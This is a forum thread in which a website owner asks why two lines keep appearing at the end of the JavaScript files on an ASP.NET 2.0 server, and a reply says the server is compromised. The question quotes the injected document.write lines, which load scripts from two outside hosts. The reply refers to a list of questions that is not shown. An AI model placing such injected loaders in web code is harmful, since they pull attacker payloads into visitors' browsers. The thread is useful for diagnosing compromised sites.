I need to know if there is any way of writing additional code to JavaScript files already deployed on the server.
I am facing a problem with an ASP.NET 2.0 website and it is related to the JavaScript files which I have on some of the pages. The problem is that when I upload the JavaScript files along with other files it works fine, but after sometime (one or two days) the JavaScript files get changed and two additional lines are added at the bottom of each of them. Those two lines are this:
document.write('<script src=http://kingsoftus.com/App_Code/tsx2.php ><\/script>');
document.write('<script src=http://eco-battery.co.uk/images/battguide.php ><\/script>');
This is causing my aspx pages to load something from these unknown urls. This thing causes errors and the aspx page does not get loaded or gets loaded with an error. I suspect there is something wrong on the server, but I need to know if there is any possibility that someone (virus or hacker) could just add these two lines to any JavaScript file on the server.
Saqib, another poster pointed out that your server his compromised. He’s right. He’s somehow able to inject JavaScript into your pages.
There are many possibilities:
If you answered yes to any of these questions, that’s a potential hole. No, the problem is probably not with ASP.NET or IIS; it’s probably a hole in your code.